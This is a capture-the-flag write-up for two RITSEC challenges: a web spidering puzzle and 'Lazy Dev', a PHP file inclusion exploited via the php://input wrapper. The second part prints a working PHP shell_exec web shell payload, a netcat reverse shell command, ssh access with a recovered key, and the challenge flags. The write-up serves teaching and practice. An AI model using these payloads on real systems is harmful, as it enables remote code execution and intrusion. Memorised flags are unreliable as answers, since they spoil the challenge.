The Tangled Web

Pretty straight-forward spidering challenge. Running any spider on the base page will come back with a bunch of results. One of the results is Stars.html, which is a page with an American flag on it. Below the video of the flag will be a base64 string hidden in the black background.

Manually… it's a bit more fun :) On the Flag.html page, there is an exclamation point. If they click on the exclamation point it will lead them to Stars.html

Flag: RITSEC{AR3_Y0U_F3371NG_1T_N0W_MR_KR4B5?!}

Lazy Dev

Much more of a pain in the ass challenge. At the bottom of the Stars.html page, there is an HTML comment mentioning devsrule.php. When visiting this php page, there are two lines to start; "Not what you input eh?" and "This param is 'magic' man." These are both hints to the challenge. First, magic is the variable read by the php script. So when providing input, it should be <target>/devsrule.php?magic=<something>. The catch now is that there is some sanitizing. .com will not work, http won't work, % aren't allowed, ../ blocked as well. For the input to be evaluated it has to have the string "input". The purpose of this being the intended solve method is to use the php wrapper input function. The intended answer here is to used some post submission tool, such as Postman, to submit a response like this:

`<target>/devsrule.php?magic=php://input&cmd=<some command>`

In the body of this request:

```
<?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>
```

Note: In theory, a file referenced using just an IP and with "Input" in the title could be used instead of the method mentioned above. *Not tested*

This shell will allow you to execute commands on the box, including obtaining a reverse shell using a command like: cmd=nc -e "/bin/bash" <target public IP> <port>, with a listener set up on the target (`nc -nlvp <port>`). Using this shell (or the web commands), enumeration can be done. Inside the base web file there is an SSH key called "JokersSomeSortaHack" (JSSH). This key can be used to ssh to the local ssh server, onto the joker account. `ssh -i JokersSomeSortaHack joker@127.0.0.1` (Note: May need to copy key off onto personal box then ssh to the box since webshell are finicky). After logging in, the flag file is in the base directory and can just be printed.

Flag: RITSEC{WOW_THAT_WAS_A_PAIN_IN_THE_INPUT}

- Joker